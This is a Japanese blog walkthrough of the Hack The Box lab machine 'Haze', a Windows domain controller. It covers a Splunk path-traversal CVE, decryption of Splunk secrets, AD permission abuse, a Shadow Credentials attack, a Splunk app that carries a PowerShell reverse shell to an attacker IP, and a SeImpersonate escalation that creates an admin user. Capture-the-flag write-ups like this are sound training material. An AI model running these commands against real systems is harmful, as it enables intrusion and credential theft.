1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HTB Haze Writeup

Last updated at Posted at 2025-06-28

概要

HackTheBoxのリタイアマシンHazeのWriteupです。

Haze.png

難易度 : Hard
OS : Windows

Enumration

Nmap

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ nmap -sV -p- --min-rate 10000 10.10.11.61 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 06:00 EDT
Nmap scan report for 10.10.11.61
Host is up (0.45s latency).
Not shown: 65506 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-28 18:01:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp  open  http          Splunkd httpd
8088/tcp  open  ssl/http      Splunkd httpd
8089/tcp  open  ssl/http      Splunkd httpd
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
54070/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
54071/tcp open  msrpc         Microsoft Windows RPC
54073/tcp open  msrpc         Microsoft Windows RPC
54079/tcp open  msrpc         Microsoft Windows RPC
54098/tcp open  msrpc         Microsoft Windows RPC
54110/tcp open  msrpc         Microsoft Windows RPC
54272/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.84 seconds

スキャン結果からADのドメインコントローラーだとわかります。
haze.htbというドメインがあるので/etc/hostsファイルに設定します。

10.10.11.61 haze.htb

8000,8088,8089でSplunkが動いていることもわかりました。

ドメイン情報

digでドメイン情報を取得します。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ dig any haze.htb @10.10.11.61

; <<>> DiG 9.20.9-1-Debian <<>> any haze.htb @10.10.11.61
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6137
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;haze.htb.                      IN      ANY

;; ANSWER SECTION:
haze.htb.               600     IN      A       10.10.11.61
haze.htb.               3600    IN      NS      dc01.haze.htb.
haze.htb.               3600    IN      SOA     dc01.haze.htb. hostmaster.haze.htb. 113 900 600 86400 3600

;; ADDITIONAL SECTION:
dc01.haze.htb.          3600    IN      A       10.10.11.61

;; Query time: 400 msec
;; SERVER: 10.10.11.61#53(10.10.11.61) (TCP)
;; WHEN: Sat Jun 28 06:06:56 EDT 2025
;; MSG SIZE  rcvd: 135

hostsファイルにdc01.haze.htbを追加します。

Splunk

ポート8000を見に行くとsplunkのログインページが表示されますが、認証情報をなにも取得していないので何もできません。

image.png

8088は何もなし

image.png

8089ではsplunkのバージョン情報がありました。

image.png

CVE-2024-36991

splunk 9.2.1について調べると以下の記事を見つけました。

/modules/messagingにパストラバーサルがあるみたいです。

記事のなかにあったペイロードを試すことで任意のファイルの読み取りが可能になります。

image.png

ファイルの中身を見ることができるので、splunkの設定ファイルを調べます。

ドキュメントに設定ファイルがまとめられていました。

image.png

設定ファイルの場所は $SPLUNK_HOME/etc/system/local/ にあるみたいなのでひとつひとつ調べます。

/etc/system/local/authentication.confにPaul Taylorのパスワードハッシュが見つかりました。

image.png

これはhashcatなどでは解読できないので専用のツールを使います。

SplunkのパスワードハッシュはSPLUNK_HOME/etc/auth/splunk.secretにあるキーで暗号化されているみたいなのでsplunk.secretを取得して保存します。

image.png

キーをsplunk.secretsとして保存して以下のように実行するとパスワードの解読に成功します。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24

このパスワードはPaul Taylorのパスワードだとわかっているのでnetexecでドメイン列挙を行います。

ドメイン内でどのような名前で登録されているかわからないのでpaulの名前リストを作ります。

image.png

paul.taylorでログインできました。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec smb dc01.haze.htb -u paul.txt -p 'Ld@p_Auth_Sp1unk@2k24'
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.61     445    DC01             [-] haze.htb\paul:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.10.11.61     445    DC01             [-] haze.htb\paultaylor:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.10.11.61     445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

ドメインユーザーの列挙

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec smb dc01.haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.61     445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
SMB         10.10.11.61     445    DC01             498: HAZE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             500: HAZE\Administrator (SidTypeUser)
SMB         10.10.11.61     445    DC01             501: HAZE\Guest (SidTypeUser)
SMB         10.10.11.61     445    DC01             502: HAZE\krbtgt (SidTypeUser)
SMB         10.10.11.61     445    DC01             512: HAZE\Domain Admins (SidTypeGroup)
SMB         10.10.11.61     445    DC01             513: HAZE\Domain Users (SidTypeGroup)
SMB         10.10.11.61     445    DC01             514: HAZE\Domain Guests (SidTypeGroup)
SMB         10.10.11.61     445    DC01             515: HAZE\Domain Computers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             516: HAZE\Domain Controllers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             517: HAZE\Cert Publishers (SidTypeAlias)
SMB         10.10.11.61     445    DC01             518: HAZE\Schema Admins (SidTypeGroup)
SMB         10.10.11.61     445    DC01             519: HAZE\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.61     445    DC01             520: HAZE\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.61     445    DC01             521: HAZE\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             522: HAZE\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             525: HAZE\Protected Users (SidTypeGroup)
SMB         10.10.11.61     445    DC01             526: HAZE\Key Admins (SidTypeGroup)
SMB         10.10.11.61     445    DC01             527: HAZE\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.61     445    DC01             553: HAZE\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.61     445    DC01             571: HAZE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.61     445    DC01             572: HAZE\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.61     445    DC01             1000: HAZE\DC01$ (SidTypeUser)
SMB         10.10.11.61     445    DC01             1101: HAZE\DnsAdmins (SidTypeAlias)
SMB         10.10.11.61     445    DC01             1102: HAZE\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.61     445    DC01             1103: HAZE\paul.taylor (SidTypeUser)
SMB         10.10.11.61     445    DC01             1104: HAZE\mark.adams (SidTypeUser)
SMB         10.10.11.61     445    DC01             1105: HAZE\edward.martin (SidTypeUser)
SMB         10.10.11.61     445    DC01             1106: HAZE\alexander.green (SidTypeUser)
SMB         10.10.11.61     445    DC01             1107: HAZE\gMSA_Managers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             1108: HAZE\Splunk_Admins (SidTypeGroup)
SMB         10.10.11.61     445    DC01             1109: HAZE\Backup_Reviewers (SidTypeGroup)
SMB         10.10.11.61     445    DC01             1110: HAZE\Splunk_LDAP_Auth (SidTypeGroup)
SMB         10.10.11.61     445    DC01             1111: HAZE\Haze-IT-Backup$ (SidTypeUser)
SMB         10.10.11.61     445    DC01             1112: HAZE\Support_Services (SidTypeGroup)

同じパスワードが使いまわされていないか調べます。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec smb dc01.haze.htb -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24'
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.61     445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24

mark.adamsで同じパスワードが使えるみたいです。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec winrm dc01.haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM       10.10.11.61     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM       10.10.11.61     5985   DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)

winrmでログインできることがわかりました。

evil-winrmでログインしましたが、mark.adamsにはユーザーフラグはありませんでした。

image.png

Cドライブ直下に Backupsというフォルダがありますが、権限がなく見れませんでした。

image.png

横展開

BloodHound

つづいて詳しく列挙するためにBloodHoundを使います。
SharpHoundをアップロードして実行します。

image.png

生成された圧縮ファイルをダウンロードしてBloodHoundにアップロードします。

image.png

mark.adamsを見てみると、gMSA_Managersというグループに所属しています。

image.png

名前からして、このグループに所属しているメンバーはgMSAのパスワードを取得できる可能性があります。

しかし、権限がなく失敗しました。権限があればHaze-IT-Backup$のNTLMハッシュを取得できます。

PrincipalsAllowedToRetrieveManagedPassword に割り当てられているのはDomain Adminsみたいです。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec ldap dc01.haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
LDAP        10.10.11.61     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb) (signing:None) (channel binding:Never)
LDAP        10.10.11.61     389    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAP        10.10.11.61     389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.61     389    DC01             Account: Haze-IT-Backup$      NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: Domain Admins

image.png

mark.adamsはgMSA_Managersに所属していることからこの権限を操作できる可能性があるので PrincipalsAllowedToRetrieveManagedPasswordをDomain Adminsからmark.admasに変更してパスワードの取得を目指します。

設定はActive Directoryのモジュールを使用します。

Get-ADServiceAccount -Identity "Haze-IT-Backup$" -Properties PrincipalsAllowedToRetrieveManagedPassword
Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
Get-ADServiceAccount -Identity "Haze-IT-Backup$" -Properties PrincipalsAllowedToRetrieveManagedPassword

image.png

変更できたのでもう一度netexecでパスワードを取得してみます。

今度は成功しました。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec ldap dc01.haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
LDAP        10.10.11.61     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb) (signing:None) (channel binding:Never)
LDAP        10.10.11.61     389    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAP        10.10.11.61     389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.61     389    DC01             Account: Haze-IT-Backup$      NTLM: 4de830d1d58c14e241aff55f82ecdba1     PrincipalsAllowedToReadPassword: mark.adams

つづいてBloodHoundでHaze-IT-Backupについて調べるとSupport_Servicesに対して WriteOwnerを持っています。この権限があると対象のオブジェクトの所有権を自分自身に付与することができます。

image.png

このとき、mark.adamsとして取得したデータではなぜか情報が欠如してしまうので、新しく情報を取得する必要があります。

┌──(kali㉿kali)-[~/…/Haze/reverse_shell_splunk/reverse_shell_splunk/bin]
└─$ bloodhound-ce-python -u 'Haze-IT-Backup$' --hashes :4de830d1d58c14e241aff55f82ecdba1 -d haze.htb -dc dc01.haze.htb -ns 10.10.11.61 -c all --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 10 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 54S
INFO: Compressing output into 20250628190818_bloodhound.zip

新しくデータをアップロードしなおします。

image.png

これをしないと次のSupport_Servicesの権限を調べることができません。

Support_Servicesについて調べます。

Support_Servicesはユーザー edward.martinに対してForceChangePasswordAddKeyCredentialLinkの権限を持っています。

ForceChangePasswordはパスワードの強制変更、AddKeyCredentialLinkはShadow Credential攻撃を実行できます。

image.png

まずは、Support_Servicesの所有権を変更します。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ owneredit.py -action write -new-owner 'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1 -target Support_Services haze.htb/'Haze-IT-Backup$'
Impacket v0.13.0.dev0+20250626.63631.6b8f623 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-323145914-28650650-2368316563-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=haze,DC=htb
[*] OwnerSid modified successfully!

つづいてSupport_Servicesに対してフルコントロール権限を付与します。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ dacledit.py -action write -rights FullControl -principal 'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1 -target Support_Services haze.htb/'Haze-IT-Backup$'
Impacket v0.13.0.dev0+20250626.63631.6b8f623 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250628-173121.bak
[*] DACL modified successfully!

Support_ServicesのメンバーにHaze-IT-Backup$を追加します。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ bloodyAD --host dc01.haze.htb -u Haze-IT-Backup$ -p :4de830d1d58c14e241aff55f82ecdba1 -d haze.htb add groupMember Support_Services Haze-IT-Backup$
[+] Haze-IT-Backup$ added to Support_Services

これでedward.martinのパスワードを変更できます。
netexecで最近この機能が追加されたので試してみます。
しかし、なぜか失敗してしまいました。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ netexec smb dc01.haze.htb -u Haze-IT-Backup$ -H 4de830d1d58c14e241aff55f82ecdba1 -M change-password -o USER=edward.martin NEWPASS=Password123
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.61     445    DC01             [+] haze.htb\Haze-IT-Backup$:4de830d1d58c14e241aff55f82ecdba1
CHANGE-P... 10.10.11.61     445    DC01             [-] SMB-SAMR password change failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

しょうがないのでShadow Credentials攻撃を実行するとNTLMハッシュを取得できました。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ certipy-ad shadow auto -u Haze-IT-Backup$ -hashes :4de830d1d58c14e241aff55f82ecdba1 -account edward.martin -dc-ip 10.10.11.61
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'd394dfe5-1ae7-5760-209d-70c631890e73'
[*] Adding Key Credential with device ID 'd394dfe5-1ae7-5760-209d-70c631890e73' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID 'd394dfe5-1ae7-5760-209d-70c631890e73' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'edward.martin@haze.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'edward.martin.ccache'
[*] Wrote credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af

evil-winrmでログインできるのでログインします。
userフラグを取得できます。

image.png

Privilege Escalation

Cドライブ直下のBackupsにアクセスできるようになるのでフォルダ内を調べるとzipで圧縮されたファイルがあるのでダウンロードして調べます。

image.png

解凍してみると大量のファイルがあります。
最初のsplunk.secretがないか探したところ、Splunk/etc/authにありました。

新しくsplunk_backup.secretとして保存します。

CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B

Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.confalexander.greenのパスワードハッシュがあります。

前回と同じようにsplunksecretsをつかって解読します。

┌──(kali㉿kali)-[~/HTB/machine/Windows/Haze]
└─$ splunksecrets splunk-decrypt -S splunk_backup.secret
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24

成功しました。おそらくSplunkの管理者パスワードです。

パスワードを取得しましたが、winrmではログインできませんでした。

Splunkでログインしてみます。
管理者としてログインできました。

image.png

いろいろ調べていると以下のリポジトリを見つけました。
管理者としてアクセスしているSplunkからリバースシェルを取得できるみたいです。

リポジトリをクローンしてrun.ps1のIPアドレスとポートを編集します。

#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.4',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

編集が完了したらディレクトリを圧縮します。

┌──(kali㉿kali)-[~/…/machine/Windows/Haze/reverse_shell_splunk]
└─$ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.bat

.tgzファイルの名前を.splに変更します。

mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

リスナーを起動しておきます。

rlwrap -cAr nc -lnvp 4444

Splunkの管理ページに戻って、アプリのインストールページからパッケージをアップロードします。

image.png

image.png

アップロードが完了するとシェルを取得できます。

image.png

alexander.greenとしてシェルを取得できました。

image.png

権限を調べると SeImpersonatePrivilegeを持っています。

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

これを悪用できるツールはたくさんありますが、個人的には一番DeadPotato一番使いやすいです。

アップロードして実行します。

PS C:\temp> wget http://10.10.16.4:8000/DeadPotato-NET4.exe -o DeadPotato.exe
PS C:\temp> ls


    Directory: C:\temp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/28/2025   3:44 PM        2369024 DeadPotato.exe

新しく管理者ユーザーを作ります。

PS C:\temp> ./DeadPotato.exe -newadmin hacker:Password123
      _.--,_
   .-'      '-.          _           _
  /            \        | \ _  _  _||_) _ _|_ _ _|_ _
 '          _.  '       |_/(/_(_|(_||  (_) |_(_| |_(_)
 \      """" /  ~(      Open Source @ github.com/lypd0
  '=,,_ =\__ `  &             -= Version: 1.2 =-
        ""  ""'; \\\


_,.-'~'-.,__,.-'~'-.,__,.-'~'-.,__,.-'~'-.,__,.-'~'-.,_

(*) Initiating procedure as NT AUTHORITY\NETWORK SERVICE
(+) Is impersonation possible in current context? YES
(+) Currently running as user: NT AUTHORITY\SYSTEM
(+) Elevated process started with PID 5408

-={          OUTPUT BELOW         }=-

The command completed successfully.

The command completed successfully.

evil-winrmログインすることで、root.txtを取得できます。

image.png

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?